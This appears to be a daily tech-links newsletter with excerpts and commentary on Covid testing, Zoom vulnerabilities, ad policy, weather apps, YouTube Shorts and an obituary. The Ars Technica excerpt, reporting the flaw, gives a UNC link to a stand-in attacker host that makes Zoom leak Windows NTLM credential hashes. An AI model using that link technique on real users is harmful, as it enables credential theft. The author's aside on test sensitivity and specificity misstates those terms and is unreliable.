Start Up No.1278: how the UK government screwed up Covid testing, more Zoom hacks, Dark Sky alternatives, YouTube plans TikTok ‘rival’, and more


He’s going to be missed and mourned. Farewell, and thanks for all the answers, Jack Schofield. CC-licensed photo by Aleks on Flickr.

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A selection of 11 links for you. Stay well. I’m @charlesarthur on Twitter. Observations and links welcome.

‘Absolutely wrong’: how UK’s coronavirus test strategy unravelled • The Guardian

Sarah Boseley:

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Ministers have been flailing. What has emerged is a picture of confusion and uncertainty at the top, with ministers making promises they cannot keep and apparently with little comprehension of the global tussle for tests that may make it impossible for the UK to buy its way belatedly out of the problem.

The UK is now competing with every other nation to obtain the kits it needs, particularly the polymerase chain reaction (PCR) test, which tells someone whether they have Covid-19 or not.

The Guardian has been told that presidents and prime ministers are trying to outbid each other to secure these kits and their components, which are in short supply. The US also has woken up to the need to test – and is telling companies that export them that America must come first.

No wonder, perhaps, the UK now finds itself struggling to increase testing to 25,000 a day for hospital patients and health workers, let alone meet its ambition – once stated but now seldom mentioned – to reach 100,000 a day, to include other key workers.

“In all countries we have prime ministers calling the CEOs and diagnostic companies to try to get hold of the stocks. Indonesia and Peru we know have offered to order several million tests and send private planes to pick the tests up. There is more going on behind the scenes to secure supplies,” said Dr Catharina Boehme, chief executive of the non-profit Geneva-based Foundation for Innovative New Diagnostics, which is a WHO collaborating centre.

The companies are trying to be responsible, she said. “They supply small quantities to each country to give sufficient supplies for a number of days and then ship on a very frequent basis. But there is clearly this move in the US where several companies have openly declared they can’t supply anyone outside the US.”

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Terrific piece; clearly there’s a sort of intergovernmental eBay, where they’re all just upping their bids wildly. The antigen tests being proposed are apparently 90% sensitive to Covid-19 (so a 90% true positive rate? So a false positive rate of 10%?) and 90% specific (which I take to mean if it’s positive, there’s a 90% chance that it’s reacting to SARS-Cov2). Someone better than me at Bayesian maths can figure out the chances you’re antibody-positive to SARS-Cov2 if the test is positive: I think it’s 89%.
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Time to kick the ‘Good Times’ delusion to the curb • FierceWireless

Geoff Blaber of analysts CCS Insight:

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I’ve read reports about how the situation could be a boon for virtual reality over the next few months. I get the theory around escapism, but thinking that folks will splash out on headsets to play Beat Saber when they can’t make the next mortgage payment is devoid of reality.

Not all can remember what happened when the dot com bubble burst or the financial crisis of 2008. Others weren’t old enough to have experienced it. Others are still on the sugar high of the last decade. Even as pensions and investments decline, the “Good Times Delusion” means some are finding it hard to equate these factors with their own business and circumstances. It’s been that long since we’ve seen this kind of financial and economic turmoil that those who aren’t among the first wave to be affected are numb to the potential consequences…

I don’t want to be seen as overly pessimistic. The hope is that this is a short term jolt to the system from which the economy sees a swift V-shaped recovery. This isn’t the structural economic downturn of 2008. But this could also prove to be more of U or even L shaped recovery. I’m not an economist so it’s not for me to determine where we’re heading, but these scenarios have all played a role in our forecast revisions.

Whatever the scenario, it won’t just be the hospitality industry and Uber drivers that are affected. If a start-up such as OneWeb – the SoftBank-backed low earth orbit satellite communications company with over $3bn in funding – is on the rocks, you can bet that many others are going to follow, and spending is going to tighten from top to bottom of the economy.

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As he also says in the piece, assume that everything from here forward will focus on profit before growth.
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Ex-NSA hacker drops new zero-day doom for Zoom • TechCrunch

Zack Whittaker:

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Patrick Wardle, a former NSA hacker and now principal security researcher at Jamf, dropped the two previously undisclosed flaws on his blog Wednesday, which he shared with TechCrunch.

The two bugs, Wardle said, can be launched by a local attacker — that’s where someone has physical control of a vulnerable computer. Once exploited, the attacker can gain and maintain persistent access to the innards of a victim’s computer, allowing them to install malware or spyware.

Wardle’s first bug piggybacks off a previous finding. Zoom uses a “shady” technique — one that’s also used by Mac malware — to install the Mac app without user interaction. Wardle found that a local attacker with low-level user privileges can inject the Zoom installer with malicious code to obtain the highest level of user privileges, known as “root.”

Those root-level user privileges mean the attacker can access the underlying macOS operating system, which are typically off-limits to most users, making it easier to run malware or spyware without the user noticing.

The second bug exploits a flaw in how Zoom handles the webcam and microphone on Macs. Zoom, like any app that needs the webcam and microphone, first requires consent from the user. But Wardle said an attacker can inject malicious code into Zoom to trick it into giving the attacker the same access to the webcam and microphone that Zoom already has.

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Attackers can use Zoom to steal users’ Windows credentials with no warning • Ars Technica

Dan Goodin:

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Users of Zoom for Windows beware: the widely used software has a vulnerability that allows attackers to steal your operating system credentials, researchers said.

Discovery of the currently unpatched vulnerability comes as Zoom usage has soared in the wake of the coronavirus pandemic. With massive numbers of people working from home, they rely on Zoom to connect with co-workers, customers, and partners. Many of these home users are connecting to sensitive work networks through temporary or improvised means that don’t have the benefit of enterprise-grade firewalls found on-premises.

Attacks work by using the Zoom chat window to send targets a string of text that represents the network location on the Windows device they’re using. The Zoom app for Windows automatically converts these so-called universal naming convention strings—such as //attacker.example.com/C$—into clickable links. In the event that targets click on those links on networks that aren’t fully locked down, Zoom will send the Windows usernames and the corresponding NTLM hashes to the address contained in the link.

Attackers can then use the credentials to access shared network resources, such as Outlook servers and storage devices.

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Well, it’s been 24 hours, after all.
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Democrats say Google’s COVID-19 ad ban is a gift to Trump • Protocol

Emily Birnbaum:

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“I totally understand if they want to ban for-profit entities from talking about coronavirus,” he said. “They’re trying to avoid people price-gouging face masks and selling fake cures, and generally exploiting the crisis for profit. But that’s an entirely separate use-case from nonprofit organizations trying to spread accurate information about the situation and holding elected officials accountable for the life-and-death decisions they are currently making.”

The Trump campaign and Republicans across the country also are not allowed to run advertisements right now. But the democratic strategists argue that the CDC and White House’s messaging, which are permitted by Google, fall under Trump’s purview.

“For Google to basically say that the Trump administration is the only entity that is allowed to talk about the most important issue in politics really puts their thumb on the scale of the incumbent president and against anyone who is really looking to challenge him,” said Eli Kaplan, a founding partner of Rising Tide Interactive, a digital marketing firm for Democratic political organizations and progressive nonprofits.

A Google spokesperson told Protocol that the company proactively instituted the policy at the beginning of February when it noticed a flurry of advertisers throwing their messages onto coronavirus-related terms in order to drive traffic. While Google announced the ban in general terms earlier this month, its effect on political messaging is only now being recognized.

“We are currently blocking ads related to coronavirus under our sensitive events policy, with exception of government PSAs on important health information,” a Google spokesperson told Protocol in a statement. “This policy applies to all advertisers equally, including all political advertisers.”

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Google’s policy says “On Google Ads we are blocking all ads capitalising on the coronavirus”. Be interesting to see how “capitalising” the CDC and WH messaging is judged to be.
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Six Dark Sky alternatives for Android weather watchers • The Verge

Barbara Krasnoff:

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If you’re an Android user with Dark Sky and you’re wondering where to go now for your weather report, there are a few alternatives to choose from. But first, here are a couple of things to consider.

Several Android weather apps have been found to ask for more permissions than they need and to have shared location data with advertisers and other third parties. These privacy issues are detailed in a Vice article by Jason Koebler.

One suggestion is to simply use the weather app that Google supplies with its OS. A way to get that somewhat elusive app to live on your home screen is described on GadgetHacks.com. We tried it, and it works quite nicely.

If the Google app isn’t enough for you, here are six alternatives. All have free versions with ads, and all have paid versions that not only remove the ads but add other features.

Besides the price of each app, I’ve also listed all the various permissions requested as listed on its Google Play entry.

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So it turns out there are lots of alternative weather data sources. The pant-wetting over Apple buying up a single one of them looks more and more hyperbolic – as such things often are.
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COVID19 patients describe a loss of smell and taste • News Medical

Dr Liji Thomas:

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a significant citation comes from South Korea, where testing has been carried out on a mass scale. Here, 30% of 2,000 patients who tested positive first presented with the loss of smell. All of these were mild cases. The statement says, “These patients might be some of the hitherto hidden carriers that have facilitated the rapid spread of COVID-19.”

The British physicians are backed by American ENT specialists. The website of the American Academy of Otolaryngology now carries the information that many stories have come in indicating that anosmia or hyposmia (a reduced sense of smell) and ageusia are significant COVID-19 symptoms, often seen in patients who later turned out to be positive on virus tests, though they had no other symptoms.

The website advises that if the patient’s anosmia or hyposmia cannot be satisfactorily accounted for by allergies or sinusitis, the physician should think immediately of testing for coronavirus. The condition should lead to the recommendation that the patient self-isolate as well.

In Italy’s worse-affected areas too, doctors say they have found that anosmia and ageusia are telltale signs that an apparently healthy person is harboring the virus and is probably spreading it to others. Marco Metra, cardiology chief at Brescia’s main hospital, which has 700 coronavirus patients out of a total of 1,200 patients, says, “Almost everybody who is hospitalized has this same story. The patient says, ‘My wife has just lost her smell and taste, but otherwise she is well.’ So she is likely infected, and she is spreading it.”

German virologist Hendrik Streeck personally interviewed coronavirus patients in Germany’s Heinsberg district, by house to house visiting. He reports an even higher percentage – about 66% – of the over 100 patients he met with mild coronavirus infection had loss of smell and taste lasting for several days.

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A team at Harvard reckons it’s because some cells in the olfactory epithelium (in your nose, helps you smell) have ACE2, the protein that SARS-Cov2 attacks to enter into cells. There seems to be an implication of a link between mildness and anosmia. (Certainly has been for me.)
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AI tool predicts which coronavirus patients get deadly ‘wet lung’ • Yahoo News

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The tool discovered several surprising indicators that were most strongly predictive of who went on to develop so-called acute respiratory disease syndrome (ARDS), a severe complication of the COVID-19 illness that fills the lungs with fluid and kills around 50% of coronavirus patients who get it. 

The team applied a machine learning algorithm to data from 53 coronavirus patients across two hospitals in Wenzhou, China, finding that changes in three features – levels of the liver enzyme alanine aminotransferase (ALT), reported body aches, and haemoglobin levels – were most accurately predictive of subsequent, severe disease.

Using this information along with other factors, the tool was able to predict risk of ARDS with up to 80% accuracy.

By contrast, characteristics that were considered to be hallmarks of COVID-19, like a particular pattern in lung images called “ground glass opacity,” fever, and strong immune responses, were not useful in predicting which of the patients with initially mild symptoms would get ARDS. 

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Age and sex weren’t strong predictors. Really would like to see how well this applies with a much larger dataset.
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Jack Schofield, Guardian’s Ask Jack tech columnist, dies at 72 • The Guardian

Alex Hern:

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Jack Schofield, the Guardian’s former computer editor and author of its technology advice column, Ask Jack, for almost 20 years, has died aged 72.

Schofield was taken to hospital following a heart attack on Friday night and died on Tuesday afternoon.

The Guardian’s editor-in-chief, Katharine Viner, said: “Jack Schofield was one of the first true technology and computing experts in British journalism. In more than 35 years writing for the Guardian, he saw (and foresaw) the rise of personal computers, the advent of the internet, Google, smartphones and much more. His Ask Jack column was an essential and expert guide for generations of Guardian readers. Our thoughts are with Jack’s family and friends at this sad time.”

Schofield had written for the paper since 1983, initially as a columnist for the new computing pages, called Futures Micro Guardian. His first column, on how to buy a home “micro”, walked the reader through the difficult process of picking one of the many microcomputers available in Britain at the time, ultimately recommending the £400 Acorn BBC Model B or, for the budget conscious, the £100 Sinclair Spectrum.

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Jack is fondly remembered by many who grew up reading his work in The Guardian. He wrote briefly for ZDNet after 2010, when he took voluntary redundancy from the paper as it tried to cut costs; but he was back freelancing for The Guardian almost as soon as it could hire him back.

He was an editor’s dream: his output was tireless, precise and incredibly punctual; he wasn’t precious about his copy. The thing that most annoyed him about the newer offices was the ban on smoking, which meant his iconic pipe had to stay unlit, at least when indoors. He had a knack for staying abreast of developments and the mental flexibility not to resist them; he was the first person to mention Google to me – in 1998 or 1999.

The one element of computing technology he couldn’t fathom was Apple’s success. Jack had a utilitarian view of IT, perhaps because he’d seen it from the wires-and-transistors era; he didn’t understand why people would pay extra for something that he didn’t perceive as having value, ie the user experience. As a result, I don’t recall him recommending Apple gear for anything, ever.
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YouTube plans ‘Shorts’ to rival TikTok • The Information

Alex Heath and Jessica Toonkel:

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YouTube is planning to release a rival to TikTok, the hugely popular video-sharing app, by the end of the year, according to two people familiar with the matter.

YouTube is currently planning Shorts, its answer to TikTok, as a feature inside its existing mobile app. Shorts will include a feed of brief videos posted by users inside the Google-owned app and will take advantage of the video service’s catalog of licensed music, songs from which will be available to use as soundtracks for the videos created by users, said the people. The move represents the most serious effort yet by a Silicon Valley tech company to combat the rise of TikTok, a rare example of a Chinese-owned social media app that has become a global hit.

A YouTube spokesperson declined to comment.

TikTok, owned by Beijing-based tech firm ByteDance, has catapulted into pop culture over the past year, attracting celebrities and young people to its service. A big part of the app’s appeal is its editing tools, which let users easily sync music clips to their videos and share them to an endless, algorithmically sorted feed on the app’s main screen.

While ByteDance hasn’t disclosed TikTok’s numbers, the app saw an estimated 842 million first-time installations from the Apple and Google app stores in the 12 months ended March 31, up 15% from the comparable period that ended March 31 of last year, according to SensorTower, a mobile data research firm. By comparison, the number of new installs of more mature apps like Facebook and YouTube was 693 million and 280 million, respectively, for the 12 months ended March 31, down 4% and 2% from the comparable period that ended March 31 of last year, SensorTower estimates.

TikTok may even be getting a bump from the coronavirus pandemic as more people hunker down in their homes and turn to online sources of entertainment. In March, TikTok saw 111 million first-time installs from the mobile app stores, up 11% from February, SensorTower said.

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I’m sure this will successfully rival TikTok in the same way that Google+ successfully rivalled Facebook.
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China concealed coronavirus outbreak extent: US intelligence • Bloomberg

Nick Wadhams and Jennifer Jacobs:

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China has concealed the extent of the coronavirus outbreak in its country, under-reporting both total cases and deaths it’s suffered from the disease, the US intelligence community concluded in a classified report to the White House, according to three US officials.

The officials asked not to be identified because the report is secret and declined to detail its contents. But the thrust, they said, is that China’s public reporting on cases and deaths is intentionally incomplete. Two of the officials said the report concludes that China’s numbers are fake.

The report was received by the White House last week, one of the officials said.

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That’s it. That’s all there is to this story – all the rest of it is publicly available stuff. We don’t get by how much China is reckoned to have undercounted the number of cases or deaths, whether it affects any of the calculations, whether it affected the decisions in the past two days (almost certainly not; those rely on the Imperial College modelling).

Bloomberg, let’s not forget, is the news source which was also tipped off by “US intelligence sources” about “tiny chips that China is inserting into servers used by Amazon, Apple and others”. That story (by different writers) has never, ever been confirmed, indirectly or otherwise.

For a news organisation that is so determined to use circumlocutions like “people not authorised to talk about the matter” – hell, just say “anonymous sources” and get it over with – Bloomberg seems very happy to carry water for the US’s propaganda efforts, which is what this amounts to, absent more information about the contents of the study.

And it’s not just the writers. What sort of editor approves a non-story like this? Estimates about underreporting from China have been floating around for months. This isn’t news just because some spook types are trying to produce a diversion.
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Errata, corrigenda and ai no corrida: none notified

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